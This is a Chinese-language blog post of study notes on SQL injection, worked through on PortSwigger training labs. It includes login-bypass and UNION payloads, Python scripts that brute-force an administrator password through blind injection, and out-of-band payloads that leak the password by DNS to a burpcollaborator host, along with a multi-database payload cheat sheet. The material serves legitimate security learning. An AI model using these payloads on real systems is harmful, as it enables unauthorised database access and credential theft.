侧边栏壁纸
博主头像
咿呀咿呀

你的脚步太乱,所以行程有限

  • 累计撰写 29 篇文章
  • 累计创建 4 个标签
  • 累计收到 2 条评论
标签搜索

SQL注入

咿呀咿呀
2022-04-16 / 0 评论 / 0 点赞 / 379 阅读 / 19,521 字
温馨提示:
本文最后更新于 2022-04-16,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

所有内容,来自burpsuite官方靶场(portswigger)

SQL注入

image-20211009100532075

什么是SQL注入?

​ SQL注入是一种Web安全漏洞、允许攻击者干扰应用程序对其数据库的正确查询。从而达到获取非正常检索的数据,或进行修改删除这些数据,从而导致应用程序的内容或行为发生永久性更改。

​ 某些情况下、攻击者可以升级SQL注入攻击以破坏底层服务器或其他后端基础设施、或执行拒接服务攻击。

SQL的影响

​ 成功的SQL注入攻击可能会导致敏感数据的未授权访问。在某些情况下,攻击者还可以获得进入系统的持久后门,从而导致可能在很久一段时间内不被注意的长久危害。

SQL注入的分类

  • 直接注入
  • 联合注入
  • 布尔注入
  • 基于时间的布尔注入
直接注入
检索隐藏数据

一个1显示不同类别产品的购物网站,当用户点击礼物类别时,浏览器请求的URL:

https://shop.com/products?category=Gifts

后台接收到请求后、会对数据库进行查询:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

此条SQL语句执行后返回:

–产品所有信息(*)
–类别为Gifts
–产品的released值为1(released=1为已发布产品、released=0为未发布产品)

攻击者可以构造如下攻击语句:

https://shop.com/products?category=Gifts'--

数据库执行语句:

SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1

这里的双破折号-- 是SQL中的注释符号,其后的语句内容为注释内容、不会执行,
即Gifts类别中 released = 0 的产品也会显示

进一步显示任何类别中的所有产品,包括不知道的类别

https://shop.com/products?category=Gifts'+OR+1=1--

数据库中的执行的查询:

SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

修改后的查询将返回类别为Gifts或 1=1的所有项目。由于1=1=始终为真,查询将返回所有项目。

image-20220105145735419

image-20220105152308103

破坏应用逻辑

​ 一个正常的使用用户名和密码登录的应用程序。如果用户提交username:wienerpassword:bluecheese,数据库中执行:

SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

用户名和密码正确则登录成功、错误、则拒绝

攻击者可以在没有密码的情况下以任何身份登录,只需要使用SQL注释符号–注释掉WHERE中的验证密码语句,例如,提交用户名administrator'--和空白密码会导致以下查询:

SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

image-20220105160443486

image-20220105160525506

联合注入

​ 当应用程序容易受到SQL注入攻击且查询结果在应用程序的响应中返回时,使用UNION关键字可用于从数据库中的其他表中检索数据。这就是联合注入

UNION关键字可以执行一个或多个额外的SELECT查询和结果对原始查询追加。例如:

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

此 SQL 查询将返回具有两列的单个结果集,其中包含来自 columnsabintable1以及 columnscdin 的值table2

要使UNION查询起作用,必须满足两个关键要求:

  • 各个查询必须返回相同数量的列。
  • 每列中的数据类型必须在各个查询之间兼容。

​ 在进行SQL注入UNION攻击,通常需要明白

  • 从原始查询返回了多少列?
  • 从原始查询返回的哪些列具有合适的数据类型来保存注入查询的结构?
Step 1:确定SQL注入UNION攻击所需的列数

​ 在执行SQL注入UNION攻击时,有2种方法可以确定从原始查询返回了多少列:

1)使用ORDER BY 并递增指定的列索引,直到发生错误 (当指定的列索引超过结果集中的实际列数时,数据库返回错误)

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--

应用程序实际上可能会在其 HTTP 响应中返回数据库错误,或者它可能会返回一般错误,或者只是不返回任何结果。如果可以检测到应用程序响应中的某些差异,就可以推断出查询返回了多少列。

2)使用UNION SELECT指定不同数量的空值

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

如果空值数与列数不匹配,则数据库返回错误

同样,应用程序实际上可能会返回此错误消息,或者可能只返回一般错误或不返回任何结果。当空值的数量与列数匹配时,数据库会在结果集中返回一个额外的行,每列中包含空值。对结果 HTTP 响应的影响取决于应用程序的代码。如果幸运的话,会在响应中看到一些额外的内容,例如 HTML 表格中的额外行。否则,空值可能会触发不同的错误,例如NullPointerException. 最坏的情况是,响应可能与由不正确数量的空值引起的响应无法区分,从而使这种确定列数的方法无效。

LAB:联合注入,确定查询返回的列数

'+UNION+SELECT+NULL,NULL-- 响应状态码500

image-20220105172606533

'+UNION+SELECT+NULL,NULL,NULL-- 响应状态码200

image-20220105172412826

故此实验确定查询返回的列数为3

PS:
1)使用NULL作为注入SELECT查询返回值的原因是每列中的数据类型必须在原始查询和注入查询之间兼容。由于NULL可转换为每种常用数据类型,因此NULL在列数正确时使用可以最大限度地提高有效负载成功的机会。

​ 2)在 Oracle 上,每个SELECT查询都必须使用FROM关键字并指定一个有效的表。Oracle 上有一个内置表dual可用于此目的。所以注入的查询甲骨文将需要看起来像:' UNION SELECT NULL FROM DUAL--

​ 3)所描述的有效负载使用双破折号注释序列--来注释掉注入点之后的原始查询的其余部分。在 MySQL 上,双破折号序列后必须跟一个空格(+)。或者,#可以使用散列字符来标识评论

Step2:确定回显位置(列)

​ 联合查询能从注入的查询中获取检索结果。通常被获取的数据都是字符串类型,因此需要在原始查询结果中查找数据类型为字符串或与字符串数据兼容的一列或多列。

​ 已经确定了所需的列数,可以通过尝试一系列的UNION SELECT将字符串值依次放入每列的有效负载中来探测每列是否可以保存字符串数据

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--

如果某列的数据类型与字符串数据不兼容,则注入的查询会导致数据库错误

LAB:联合注入,查询查找回显数据的列

确认列数:3

image-20220106100431974

确认返回数据显示的位置(列)

image-20220106101951912

Step3:查询数据
LAB:联合注入,查询数据

确定列数:2

image-20220106102725233

确定回显位置:

image-20220106102807318

查询数据

image-20220106102958306

LAB:在单列中检索多个值

​ 在前面的LAB中。查询仅返回单个列。若要在单个列中检索多个值,可以通过将多个列的值拼接在一起。如:

'union select username ||'~'|| password from users--+

这里使用的双通道符号||(不同的数据库使用不同的拼接字符) ,它是Oracle 上的字符串连接运算符,将注入的查询username和password字段的值拼接在一起,使用~字符分割

确定联合注入的列数:2

image-20220106104018932

确定回显的列:

image-20220106104128428

联合注入查询:

image-20220106104413301

topical:查询数据库版本
LAB:在Oracle上查询数据库信息

确定列数:2
Oracle数据库每一次select必须from一个table,dual是系统内置的table。即使union select不从表中查询数据,任然需要包含from关键字后跟有效表名。

image-20220106105705027

确定回显的位置(列)

image-20220106110127612

查询数据库版本信息

image-20220106110606503

LAB:在MySQL和MSSQL中查询数据库版本信息

确定列数:2

image-20220106111349101

确定回显位置(列)

image-20220106111429082

查询数据版本信息

image-20220106111621425

topical:检索数据库中的内容

​ 大多数数据库类型(Oracle 除外)都有一组称为信息模式的视图,这些视图提供有关数据库的信息。

可以通过查询information_schema.tables以列出数据库中的表:

SELECT * FROM information_schema.tables

这将返回如下输出:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE=====================================================MyDatabase dbo Products BASE TABLEMyDatabase dbo Users BASE TABLEMyDatabase dbo Feedback BASE TABLE

此输出指示有三个表,叫ProductsUsersFeedback

然后,可以查询information_schema.columns以列出各个表中的列:

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

这将返回如下输出:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE=================================================================MyDatabase dbo Users UserId intMyDatabase dbo Users Username varcharMyDatabase dbo Users Password varchar

此输出显示指定表中的列以及每列的数据类型。

LAB:列出非Oracle数据库上的数据库内容

确定列数:2

image-20220106113536893

确定回显位置(列)

image-20220106113626388

查询数据库中所有table的名字

image-20220106113912617

查询users_huronk表中所有columns的名字

image-20220106140718988

查询列中的值

image-20220106140857339

LAB:列出Oracle数据库中的内容

在 Oracle 上,可以通过不同的查询获得相同的信息。

可以通过all_tables查询列出表名:

SELECT * FROM all_tables

可以通过all_tab_columns查询列出列:

SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

确定列数:2

image-20220106141419615

确定回显位置(列)

image-20220106141503562

查询数据中的table名称

image-20220106141737613

查询table中的列名称

image-20220106141922403

从列中查询数据

image-20220106142051011

盲注

​ SQL 注入的许多实例都是盲漏洞。这意味着应用程序不会在其响应中返回 SQL 查询的结果或任何数据库错误的详细信息。但仍然可以利用盲点漏洞来访问未经授权的数据,所涉及的技术通常更加复杂且难以执行。

根据漏洞的性质和涉及的数据库,可以使用以下技术来利用 SQL 盲注漏洞:

  • 可以更改查询的逻辑以根据单个条件的真实性触发应用程序响应中的可检测差异。这可能涉及将新条件注入某些布尔逻辑,或有条件地触发错误,例如被零除。
  • 可以有条件地触发查询处理中的时间延迟,根据应用程序响应所需的时间来推断条件的真实性。
  • 可以使用OAST技术触发带外网络交互。这种技术非常强大,适用于其他技术不具备的情况。通常,可以通过带外通道直接泄露数据,例如将数据放入可控域的 DNS 查找中
通过触发条件响应来利用SQL盲注

​ 在应用程序中、通常考虑使用cookie来收集程序相关的使用情况,对应程序的请求包括这样一个cookie标头:

Cookie:TrackingId=u5YD3PapBcR4lN3e7Tj4

当TrackingId处理包含cookie的请求时,应用程序使用如下的SQL查询确定是否是已知用户:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

此查询易受到SQL注入攻击,但查询结果不会直接返回给用户,可根据是否返回任何数据,应用程序的行为有所不同,来判断是否存在SQL盲注。如:如果它返回数据(因为已识别TrackingId已提交),则页面内会显示“欢迎回来”消息;这种行为足以利用 SQL 盲注漏洞并通过根据注入条件有条件地触发不同响应来检索信息。要查看它是如何工作的,假设发送的两个请求TrackingId依次包含以下cookie 值:

…Tj4' AND '1'='1
…Tj4' AND '1'='2

上面俩个值中的第一个将导致查询返回结果,因为注入的AND '1'='1条件为真,因此将显示“欢迎回来”消息。而第二个值将导致查询不返回任何结果,因为注入的条件为假,因此不会显示“欢迎回来”消息。这使我们能够确定任何单个注入条件的答案,因此一次提取一位数据。

​ 假如有一个名为Users的表,以及一个名为Administrator的用户。我们可以通过发送一系列输入、以一次一个字符的测试,来测试该用户的密码。

Tj4' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

这将返回“欢迎回来”的消息,表明注入的条件为真,因此密码的第一个字符大于M(ASCII码)

​ 接下来

Tj4' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

这不会返回“欢迎回来”的消息,表明注入的条件为假,因此密码的第一个字符不大于t

最后。发送以下注入字符,返回“欢迎回来”消息,从未确定密码的第一个字符是s

Tj4' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's

我们可以继续这个过程来确定用户Administrator的完整密码

LAB:带有条件响应的盲SQL注入

1=1

image-20220106154013462

1=2

image-20220106153948807

可以判断存在盲注

下面开始通过响应的不同、探测数据

1)确定的确有一个表的名称是:users

from+user1 未返回 Welcome back!

image-20220106155314412

from+users 返回 Welcome back! users正确

image-20220106155016337

2)确定users表中确实有一个名为administrator的用户(验证条件为真)

image-20220106155702752

3)确定用户administrator的密码长度

密码长度>1

image-20220106160537998

爆破密码长度,可以看见当payload值为20值,返回的响应包长度发生了变化

image-20220106160726349

故密码长度为20

4)一个一个使用ASCII值来测试密码

image-20220106162127376

image-20220106162103758

密码的第一个值为:8

通过修改substring(password,1,1)中第一个1为2,测试password的第二位值

image-20220106162346621

第二位值:8

第三位值:3

共二十位值,使用python编写爆破脚本可以更快的获得password值
这里由于网页超时,刷新了密码

import requests

payloads=[0,2,2,3,4,5,6,7,8,9,'q','w','e','r','t','y','u','i','o','p','a','s','d','f','g','h','j','k','l','z','x','c','v','b','n','m']

base_url = "https://ac0f1fd91e6bf1e6c0802ccc001000e5.web-security-academy.net/product?productId=3"
headers = {"Sec-Ch-Ua": "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"90\"", "Sec-Ch-Ua-Mobile": "?0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Referer": "https://acfa1f5f1fdce076c0bc50a5004200c2.web-security-academy.net/filter?category=Pets", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
answer = []


def GET(payload,j):

	c1 = "lewSd8rHBNPYKB1p'+and+(select+substring(password,"+j+",1)+from+users+where+username='administrator')='"+payload+"'--+"

	burp0_cookies = {"TrackingId": "aaaa", "session": "kFTLrsqDJO4wKMeIodw1b1fyQ1VJW09b"}
	burp0_cookies["TrackingId"]=str(c1)
	
	r = requests.get(base_url,headers,cookies=burp0_cookies)
	r.encoding = "utf-8"
	if 'Welcome back!' in r.text:	
		answer.append(payload)
		print(answer)
	else:
		print("...")

for j in range(1,21):
	print("正在猜解第{0}位".format(j))
	for i in range(0,36):
		GET(str(payloads[i]),str(j))

image-20220107103846172

可以看见密码为:
otuxznk96ek2u3i5vlcy

报错注入
topical:通过触发SQL错误来诱导条件响应

​ 如果前面的示例中,执行相同的SQL查询,但查询返回的数据或查询后的行为和正常查询没有任何表现不同,这时注入的不同布尔条件没有对应用程序造成影响。

​ 这种情况下,根据注入的条件、通常可以有条件地触发SQL错误来诱导应用程序返回条件响应。这里需要修改查询、以便在条件为真时导致数据库错误,如果条件为假,很多时候数据库会抛出未处理的错误导致应用程序的响应出现一些差异,所以我们使用为真条件进行注入。

例如:发送两个请求TrackingId依次包含以下cookie 值:

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

这些输入使用CASE关键字来测试条件并根据表达式是否为真返回不同的表达式。

对于第一个输入,CASE表达式的计算结果为’a’,不会导致任何错误
对于第二个输入,它的计算结果为1/0,这会导致除以零错误。假设该错误导致应用程序的HTTP响应存在一些差异,就可以利用这种差异来推断注入的条件(1=1)是否为真。

使用这种方法可以一次测试一个字符,来检索数据

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

LAB:带有条件错误的盲 SQL 注入

Cookie: TrackingId=gCTmgy5QUcUasTaG' 报错
Cookie: TrackingId=gCTmgy5QUcUasTaG''不报错 证明注入点可能在此

image-20220117144518004

image-20220117144540954

确认为Oracle 数据库

image-20220117145008709

image-20220117144916320
dual为Oracle特有的表名

当查询不存在的表就出现错误,查询存在的表时就不会报错,由此推断出存在表users

image-20220117145946949
where rownum=1 确保查询结果为1行,不破坏字符串连接

现利用条件查询验证数据

TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||' 报错

TrackingId=xyz'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||' 不报错

image-20220117150804703
image-20220117150827310
确认有一个用户名为administrator的用户

下一步确认用户administrator的密码长度

TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||' LENGTH(password)>1为真(1/0)报错、确认密码长度大于1

image-20220117151257994
由此确认密码长度等于20

接下来确认每一位的值

TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

使用python脚本猜解密码

import requests

base_url = "https://ac2c1f431fc8f516c0bf13f3002700f6.web-security-academy.net:443/filter?category=Gifts"
burp0_cookies = {"TrackingId": "gCTmgy5QUcUasTaG'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'", "session": "M9747h0COWyb4V1gpRK57XdErX7j82lW"}




payloads=[0,1,2,3,4,5,6,7,8,9,'q','w','e','r','t','y','u','i','o','p','a','s','d','f','g','h','j','k','l','z','x','c','v','b','n','m']


headers = {"Sec-Ch-Ua": "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"90\"", "Sec-Ch-Ua-Mobile": "?0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Referer": "https://acfa1f5f1fdce076c0bc50a5004200c2.web-security-academy.net/filter?category=Pets", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
answer = []


def GET(payload,j):
	b= "gCTmgy5QUcUasTaG'||(SELECT CASE WHEN SUBSTR(password,"+j+",1)='"+payload+"' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'"

	#c1 = "lewSd8rHBNPYKB1p'+and+(select+substring(password,"+j+",1)+from+users+where+username='administrator')='"+payload+"'--+"

	burp0_cookies = {"TrackingId": "aaaa", "session": "M9747h0COWyb4V1gpRK57XdErX7j82lW"}
	burp0_cookies["TrackingId"]=str(b)
	
	r = requests.get(base_url,headers,cookies=burp0_cookies)
	#r.encoding = "utf-8"
	if r.status_code==500:	
		answer.append(payload)
		print(answer)
	else:
		print("...")

for j in range(1,21):
	print("正在猜解第{0}位".format(j))
	for i in range(0,36):
		GET(str(payloads[i]),str(j))


topical 通过触发时间延迟来利用 SQL 盲注

​ 假如在执行注入的 SQL 查询时触发数据库错误不再导致应用程序的响应有任何差异,因此前面的诱导条件错误的技术将不起作用。

​ 在这种情况下,通常可以通过有条件地触发时间延迟来利用盲 SQL 注入漏洞,具体取决于注入条件。由于 SQL 查询通常由应用程序同步处理,因此延迟 SQL 查询的执行也会延迟 HTTP 响应。这使我们能够根据收到 HTTP 响应之前所花费的时间来推断注入条件的真实性。

触发时间延迟的payload,特定于所使用的数据库类型。在 Microsoft SQL Server 上,可以使用如下输入来测试条件并根据表达式是否为真触发延迟:

'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--

这些输入中的第一个不会触发延迟,因为条件1=2为假。第二个输入将触发 10 秒的延迟,因为条件1=1为真。

使用这种技术,可以通过一次系统地测试一个字符来以已经描述的方式检索数据:

'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
LAB:具有时间延迟的SQL盲注

PostgreSQL特有的休眠函数:pg_sleep()

TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- 程序延迟10s响应

rackingId=x'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--程序正常响应;确定存在

TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- 程序延迟10s、确定存在用户administrator

TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- 程序延迟10s,确认密码长度大于1

TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)=20)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- 程序延迟10s,确认密码长度为20

-------利用burp爆破-------网络问题–导致延迟过长----未完成

topical 使用数据外带利用SQL盲注

​ 假如程序的SQL查询是异步执行的,应用程序继续在原始线程中处理用户请求,并使用另一个线程跟踪cookies执行SQL查询。查询仍然易受到SQL注入攻击,但上诉的方法都不起作用:应用程序的响应不取决于查询是否返回任何数据、或是否发生数据库错误、或者SQL执行所花费的时间。

​ 这种情况下,通常可以通过触发系统的带外网络交互来利用SQL盲注。如上诉盲注一样、以一次一位地推断信息。但更强大的是:数据可以直接在网络交互中被泄露。

​ 多种网络协议可以用于此目的,通常最有效的是DNS(域名服务)。因为大多数系统都允许DNS查询的自由出入。

触发DNS查询的语句依赖于所使用的数据库类型。

例如:Microsoft SQL Server:

'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--

这将导致数据库对域(0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net)执行查询

确认触发带外交互的方法之后,就可以使用带外通道从易受攻击的应用程序中窃取数据。

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

此输入读取administrator用户的密码,附加的Collaborator子域,触发DNS查询

S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net就把密码代出来了

LAB:带外数据泄露的盲注
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.YOUR-COLLABORATOR-ID.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--

如何检测SQL注入

​ 通过对应用程序中的每个入口点(涉及数据交互的地方)使用一组系统的测试,可以手动检测 SQL 注入。这通常涉及:

  • 提交单引号字符'并查找错误或其他异常。
  • 提交一些特定于 SQL 的语法,这些语法计算为入口点的基本(原始)值和不同的值,并在结果应用程序响应中寻找系统差异。
  • 提交布尔条件,例如OR 1=1OR 1=2, and查找应用程序响应中的差异。
  • 提交设计用于在 SQL 查询中执行时触发时间延迟的有效负载,并寻找响应时间的差异。
  • 提交旨在在 SQL 查询中执行时触发带外网络交互的 OAST 有效负载,并监视任何由此产生的交互。

查询语句不同位置的SQL注入

​ 大多数SQL注入点都出现在查询的where子句中的select。但实际上,SQL注入点可以发生在查询中的任何位置、以及不同的查询类型中。常见的位置有:

  • UPDATE语句中,在更新的值或WHERE子句中。
  • INSERT语句中,在插入的值内。
  • SELECT语句中,在表或列名内。
  • SELECT语句中,在ORDER BY子句中。

二阶注入

​ 一阶 SQL 注入出现在应用程序从 HTTP 请求中获取用户输入并在处理该请求的过程中以不安全的方式将输入合并到 SQL 查询中的情况。

​ 在二阶 SQL 注入(也称为存储 SQL 注入)中,应用程序从 HTTP 请求中获取用户输入并将其存储以供将来使用。这通常是通过将输入放入数据库来完成的,但在存储数据的位置不会出现漏洞。稍后,当处理不同的 HTTP 请求时,应用程序会检索存储的数据并以不安全的方式将其合并到 SQL 查询中。

image-20220118144714319

二阶 SQL 注入通常出现在开发人员知道 SQL 注入漏洞的情况下,因此可以安全地处理将输入初始放置到数据库中的情况。当数据稍后被处理时,它被认为是安全的,因为它之前被安全地放入数据库中。此时,数据以不安全的方式处理,因为开发人员错误地认为它是可信的。

数据库特定因素

​ SQL 语言的一些核心功能在流行的数据库平台上以相同的方式实现,因此检测和利用 SQL 注入漏洞的许多方法在不同类型的数据库上的工作方式相同。

​ 但是,常见数据库之间也存在许多差异。这意味着一些用于检测和利用 SQL 注入的技术在不同平台上的工作方式不同。例如:

  • 字符串连接的语法。
  • 评论。
  • 批处理(或堆叠)查询。
  • 特定于平台的 API。
  • 错误消息。

SQL备忘录

字符串连接

| Oracle | 'foo'||'bar' |
| :--------- | ------------------------------------------------------------ |
| Microsoft | 'foo'+'bar' |
| PostgreSQL | 'foo'||'bar' |
| MySQL | 'foo' 'bar' [Note the space between the two strings] CONCAT('foo','bar') |

子串

Oracle SUBSTR('foobar', 4, 2)
Microsoft SUBSTRING('foobar', 4, 2)
PostgreSQL SUBSTRING('foobar', 4, 2)
MySQL SUBSTRING('foobar', 4, 2)

截断字符

Oracle --comment
Microsoft --comment/*comment*/
PostgreSQL --comment/*comment*/
MySQL #comment -- comment [Note the space after the double dash] /*comment*/

数据库版本

Oracle SELECT banner FROM v$versionSELECT version FROM v$instance
Microsoft SELECT @@version
PostgreSQL SELECT version()
MySQL SELECT @@version

数据库内容

Oracle SELECT * FROM all_tablesSELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
Microsoft SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQL SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQL SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

条件错误

Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual
Microsoft SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END
MySQL SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

堆叠查询

Oracle Does not support batched queries.
Microsoft QUERY-1-HERE; QUERY-2-HERE
PostgreSQL QUERY-1-HERE; QUERY-2-HERE
MySQL QUERY-1-HERE; QUERY-2-HERE

时间延迟

Oracle dbms_pipe.receive_message(('a'),10)
Microsoft WAITFOR DELAY '0:0:10'
PostgreSQL SELECT pg_sleep(10)
MySQL SELECT sleep(10)

有条件的时间延迟

| Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual |
| :--------- | ------------------------------------------------------------ |
| Microsoft | IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' |
| PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END |
| MySQL | SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a') |

DNS查询

Oracle SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual The following technique works on fully patched Oracle installations, but requires elevated privileges: SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')
Microsoft exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a'
PostgreSQL copy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net'
MySQL The following techniques work on Windows only: LOAD_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a') SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'

带有数据泄露的DNS查询

| Oracle | SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual |
| :--------- | ------------------------------------------------------------ |
| Microsoft | declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"') |
| PostgreSQL | create OR replace function f() returns void as $$declare c text;declare p text;beginSELECT into p (SELECT YOUR-QUERY-HERE);c := 'copy (SELECT '''') to program ''nslookup '||p||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net''';execute c;END;$$ language plpgsql security definer;SELECT f(); |
| MySQL | The following technique works on Windows only: SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a' |

0

评论区